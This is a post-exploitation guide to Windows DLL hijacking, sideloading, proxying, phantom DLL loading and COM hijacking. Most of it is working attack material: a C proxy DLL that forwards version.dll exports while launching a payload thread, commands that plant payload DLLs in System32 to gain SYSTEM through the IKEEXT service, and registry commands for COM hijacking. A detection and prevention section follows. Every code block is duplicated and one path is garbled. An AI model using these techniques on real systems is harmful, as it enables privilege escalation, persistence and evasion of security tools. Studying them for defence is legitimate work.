Post-Exploitation T1574.001 T1574.002

DLL Hijacking & Sideloading

DLL hijacking exploits the Windows DLL search order to execute malicious code by placing a crafted DLL where a legitimate application will load it. This guide covers search order hijacking, DLL sideloading (abusing signed applications), DLL proxying (forwarding exports to the real DLL), and phantom DLL loading for persistence and privilege escalation.

Warning

DLL hijacking can crash applications or cause instability. Test payloads in a lab environment first and document all file modifications for cleanup.

Windows DLL Search Order

When an application loads a DLL without specifying a full path, Windows searches these locations in order:

Priority Location Hijack Viability
1 Known DLLs registry (preloaded system DLLs) Not hijackable
2 Application directory Sideloading target
3 System directory (C:\\Windows\\System32) Requires admin
4 16-bit system directory Legacy, rare
5 Windows directory Requires admin
6 Current working directory CWD hijack
7 Directories in PATH variable PATH hijack

Finding Hijackable DLLs

powershell
# Process Monitor (Sysinternals) — find DLL load failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# This shows DLLs the application tried to load but couldn't find

# Automated scanning tools
# DLLSpy — scan for hijackable DLLs
DLLSpy.exe /scan

# PowerSploit Find-DLLHijack
Import-Module PowerSploit
Find-DLLHijack

# Check PATH directories for write permissions
$env:PATH -split ';' | ForEach-Object {
  $acl = Get-Acl $_ -ErrorAction SilentlyContinue
  $writeable = $acl.Access | Where-Object { 
    $_.FileSystemRights -match 'Write|FullControl' -and 
    $_.IdentityReference -notmatch 'SYSTEM|Administrators'
  }
  if ($writeable) { Write-Output "WRITABLE: $_" }
}

# Check specific application directories
icacls "C:\Program Files\VulnerableApp" /T | findstr /i "Users Everyone"

# WinPEAS automated check
winpeas.exe quiet applicationsinfo
# Process Monitor (Sysinternals) — find DLL load failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# This shows DLLs the application tried to load but couldn't find

# Automated scanning tools
# DLLSpy — scan for hijackable DLLs
DLLSpy.exe /scan

# PowerSploit Find-DLLHijack
Import-Module PowerSploit
Find-DLLHijack

# Check PATH directories for write permissions
$env:PATH -split ';' | ForEach-Object {
  $acl = Get-Acl $_ -ErrorAction SilentlyContinue
  $writeable = $acl.Access | Where-Object { 
    $_.FileSystemRights -match 'Write|FullControl' -and 
    $_.IdentityReference -notmatch 'SYSTEM|Administrators'
  }
  if ($writeable) { Write-Output "WRITABLE: $_" }
}

# Check specific application directories
icacls "C:\Program Files\VulnerableApp" /T | findstr /i "Users Everyone"

# WinPEAS automated check
winpeas.exe quiet applicationsinfo

DLL Sideloading

DLL sideloading abuses a legitimate signed application by placing a malicious DLL in the same directory. The signed app loads the malicious DLL, executing your code under the context of a trusted binary — bypassing application whitelisting and gaining the trust of EDR products.

Signed Application Sideloadable DLL
OneDrive.exe version.dll
Teams.exe dbghelp.dll
Notepad++.exe SciLexer.dll
7z.exe 7z.dll
powershell
# Copy signed EXE to a writable directory
copy "C:\Program Files\App\signed.exe" C:\Temp\

# Place malicious DLL with expected name alongside the EXE
copy payload.dll C:\Temp\version.dll

# Execute the signed app — it loads your DLL from its directory
C:\Temp\signed.exe
# Copy signed EXE to a writable directory
copy "C:\Program Files\App\signed.exe" C:\Temp\

# Place malicious DLL with expected name alongside the EXE
copy payload.dll C:\Temp\version.dll

# Execute the signed app — it loads your DLL from its directory
C:\Temp\signed.exe

DLL Proxying

DLL proxying is a stealthier variant — your malicious DLL forwards all legitimate function calls to the real DLL while also running your payload. This keeps the application functional and avoids crashes.

c
// Example: version.dll proxy (C/C++)
// Forwards all exports to the real version.dll while executing payload

#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a separate thread to avoid loader lock
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunction, NULL, 0, NULL);
    }
    return TRUE;
}
// Example: version.dll proxy (C/C++)
// Forwards all exports to the real version.dll while executing payload

#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a separate thread to avoid loader lock
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunction, NULL, 0, NULL);
    }
    return TRUE;
}
powershell
# Automated proxy DLL generation
# SharpDLLProxy — auto-generates proxy DLL source code
SharpDLLProxy.exe --dll C:\Windows\System32ersion.dll --payload shellcode.bin

# DLL-Hijack-Calculator — find and generate proxy DLLs
# Spartacus — automated DLL hijacking discovery
Spartacus.exe --mode dll-hijack --procmon-log procmon.csv
# Automated proxy DLL generation
# SharpDLLProxy — auto-generates proxy DLL source code
SharpDLLProxy.exe --dll C:\Windows\System32ersion.dll --payload shellcode.bin

# DLL-Hijack-Calculator — find and generate proxy DLLs
# Spartacus — automated DLL hijacking discovery
Spartacus.exe --mode dll-hijack --procmon-log procmon.csv

Phantom DLL Loading

Phantom DLLs are DLLs that Windows services or scheduled tasks attempt to load but don't exist on disk. Placing a malicious DLL at the expected path causes it to load with the privileges of the calling service — often SYSTEM.

Phantom DLL Service / Component Context
wlbsctrl.dll IKEEXT (VPN / IKE) SYSTEM
wbemcomn.dll WMI Service SYSTEM
fveapi.dll BitLocker SYSTEM
Tsmsisrv.dll Terminal Services SYSTEM
TSVIPSrv.dll Terminal Services SYSTEM

Use Process Monitor (Sysinternals) to discover additional phantom DLLs: filter for Result = NAME NOT FOUND where path ends with .dll and the process is a system service.

powershell
# Check if IKEEXT service is running (wlbsctrl.dll phantom)
sc query IKEEXT

# If running and wlbsctrl.dll doesn't exist in System32:
copy payload.dll C:\Windows\System32\wlbsctrl.dll
net stop IKEEXT && net start IKEEXT
# Check if IKEEXT service is running (wlbsctrl.dll phantom)
sc query IKEEXT

# If running and wlbsctrl.dll doesn't exist in System32:
copy payload.dll C:\Windows\System32\wlbsctrl.dll
net stop IKEEXT && net start IKEEXT

DLL Hijacking for Privilege Escalation

Scenario 1 — Writable service directory: If a service's install folder is writable by the current user, place a DLL the service loads from its own directory.
Scenario 2 — SYSTEM scheduled tasks: Scheduled tasks running as SYSTEM that load DLLs from user-writable paths allow privilege escalation.
Scenario 3 — COM object hijacking: Override a system COM object's InprocServer32 in HKCU (per-user, no admin needed). When any process loads that COM object, your DLL runs in their context.

powershell
# Find SYSTEM scheduled tasks with potentially writable paths
schtasks /query /fo LIST /v | findstr /i "task\|run as"

# COM hijacking — override InprocServer32 in HKCU (no admin)
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /ve /d "C:\Temp\payload.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /v ThreadingModel /d "Both" /f
# Find SYSTEM scheduled tasks with potentially writable paths
schtasks /query /fo LIST /v | findstr /i "task\|run as"

# COM hijacking — override InprocServer32 in HKCU (no admin)
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /ve /d "C:\Temp\payload.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /v ThreadingModel /d "Both" /f

Detection & Blue Team

Source Detection
Sysmon Event 7 Image loaded — unsigned DLL loaded by signed process, or DLL loaded from unusual path
Sysmon Event 1 Process creation — signed binary run from non-standard directory
Sysmon Event 13 Registry modification — InprocServer32 changes for COM hijacking
EDR Module load from writable user directories, hash mismatch on known DLLs
text
// KQL — Detect unsigned DLL loaded by signed process
DeviceImageLoadEvents
| where InitiatingProcessFileName in ("OneDrive.exe","Teams.exe","7z.exe")
| where not(FolderPath startswith "C:\Program Files")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256

// Sysmon — DLL sideloading detection (Sigma rule equivalent)
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7
| where ImageLoaded !startswith "C:\Windows\" 
| where Signed == "false"
| project TimeGenerated, Computer, Image, ImageLoaded
// KQL — Detect unsigned DLL loaded by signed process
DeviceImageLoadEvents
| where InitiatingProcessFileName in ("OneDrive.exe","Teams.exe","7z.exe")
| where not(FolderPath startswith "C:\Program Files")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256

// Sysmon — DLL sideloading detection (Sigma rule equivalent)
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7
| where ImageLoaded !startswith "C:\Windows\" 
| where Signed == "false"
| project TimeGenerated, Computer, Image, ImageLoaded

Prevention

Enable SafeDllSearchMode

Ensure SafeDllSearchMode is enabled (default) — moves CWD last in search order.

Restrict PATH Directories

Audit PATH directories for write permissions — no user-writable directories should be in system PATH.

Application Whitelisting

WDAC (Windows Defender Application Control) with DLL enforcement blocks unsigned DLL loading.

Sysmon Monitoring

Deploy Sysmon with Event 7 (ImageLoaded) rules to detect DLL loads from unexpected paths.